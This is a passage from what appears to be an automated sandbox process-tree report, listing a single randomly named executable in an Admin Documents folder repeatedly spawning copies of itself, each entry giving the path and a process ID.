    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8924
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:6444
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8456
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:4636
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:9420
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:9768
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:10040
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:9264
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:9368
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:6904
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:9452
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8436
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:10224
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:3604
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:9896
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:9636
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:6236
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8888
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:10384
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:10724
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11168
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:5568
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11252
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:10964
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:10524
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:3920
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:10528
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:10252
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:7380
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11308
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11636
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11984
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8636
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11684
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:12160
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8444
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:2260
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11664
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:1680
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11624
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8552
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11788
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:1052
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:6496
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11332
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:12380
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:12724
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:13020
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:10364
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:12852
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:12536
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:13196
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:12820
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:12016
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:4564
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8312
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11436
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:7596
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:9508
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11608
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:10448
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:13612
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:14024
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:13584
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:13708
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:13480
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:14236
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:7636
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:13440
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:5284
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:384
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:14016
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:13368
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:13340
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8940
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:7512
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:4804
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:14452
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:14952
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:14348
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:16172
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:14396
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:14264
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:15952
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:16260
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:13448
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:16552
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:16836
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:17160
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:5384
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:16744
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:16800
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:17004
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:14528
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:6944
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:956
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:17772
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:18164
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:18360
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:17872
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:16972
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:18004
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:17632
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:17712
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:18000
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11672
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:18544
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:18812
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:19048
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:19436
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:18704
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:10372
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:11924
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:10580
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:19584
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:19936
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:20232
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:19164
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:19784
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:19884
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:18288
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:18800
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:13832
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:224
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:18728
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:19028
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:16912
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:8564
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:12064
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:20188
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:14696
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:18580
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:14060
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:14604
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:20612
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:20936
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:21200
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:20504
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:20836
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:21352
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:20732
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:21016
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:13268
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:21340
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:17044
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:19364
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:20024
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:21868
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:22080
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:22184
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:22448
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:21724
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:22272
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:18832
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:21824
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
    3⤵
    PID:3480
- - C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe
